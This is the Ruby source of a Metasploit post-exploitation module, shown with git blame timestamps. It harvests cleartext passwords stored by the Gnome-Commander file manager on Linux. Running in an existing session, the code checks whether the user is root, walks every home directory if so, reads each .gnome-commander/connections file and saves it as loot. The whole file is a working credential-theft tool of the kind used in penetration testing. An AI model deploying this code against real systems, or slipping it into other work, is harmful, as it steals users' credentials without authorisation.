metasploit-framework/modules/post/linux/gather/gnome_commander_creds.rb

66 lines
2.1 KiB
Ruby
Raw Normal View History

2014-07-23 18:20:29 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
2014-07-23 18:20:29 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
class Metasploit3 < Msf::Post
include Msf::Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather Gnome-Commander Creds',
'Description' => %q{
This module collects the clear text passwords stored by
Gnome-commander, a GUI file explorer for GNOME. Typically, these
passwords are stored in the user's home directory, at
~/.gnome-commander/connections.
2014-07-23 18:20:29 +00:00
},
'License' => MSF_LICENSE,
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
'Platform' => %w{ linux },
'SessionTypes' => [ 'meterpreter', 'shell']
))
end
def run
user_dirs = []
2014-07-28 20:46:50 +00:00
# Search current user
2014-07-23 18:20:29 +00:00
user = cmd_exec("whoami").chomp
2014-07-28 20:46:50 +00:00
# User is root
if user == 'root'
2014-07-28 22:28:15 +00:00
print_status("Current user is #{user}, probing all home dirs")
user_dirs << '/root'
# Search home dirs
cmd_exec('ls /home').each_line.map { |l| user_dirs << "/home/#{l}".chomp }
2014-07-23 18:20:29 +00:00
else
2014-07-28 22:28:15 +00:00
# Non root user
print_status("Current user is #{user}, probing /home/#{user}")
user_dirs << "/home/#{user}"
2014-07-23 18:20:29 +00:00
end
# Try to find connections file in users homes
user_dirs.each do |dir|
2014-07-28 20:46:50 +00:00
# gnome-commander connections file
2014-07-23 18:20:29 +00:00
connections_file = "#{dir}/.gnome-commander/connections"
2014-07-24 21:30:26 +00:00
if file?(connections_file)
2014-07-28 20:46:50 +00:00
#File exists
2014-07-23 18:20:29 +00:00
begin
2014-07-24 21:30:26 +00:00
str_file=read_file(connections_file)
2014-07-28 22:28:15 +00:00
print_good("File found: #{connections_file}")
2014-07-24 21:30:26 +00:00
vprint_line(str_file)
2014-07-28 20:46:50 +00:00
#Store file
2014-07-24 21:30:26 +00:00
p = store_loot("connections", "text/plain", session, str_file, connections_file, "Gnome-Commander connections")
2014-08-18 18:35:34 +00:00
print_good("Connections file saved to #{p}")
2014-07-23 18:20:29 +00:00
rescue EOFError
# If there's nothing in the file, we hit EOFError
2014-07-24 21:10:00 +00:00
print_error("Nothing read from file: #{connections_file}, file may be empty")
2014-07-23 18:20:29 +00:00
end
2014-07-24 21:30:26 +00:00
else
# File not found
2014-07-28 22:28:15 +00:00
vprint_error("File not found: #{connections_file}")
2014-07-23 18:20:29 +00:00
end
end
end
2014-07-28 22:28:15 +00:00
2014-07-23 18:20:29 +00:00
end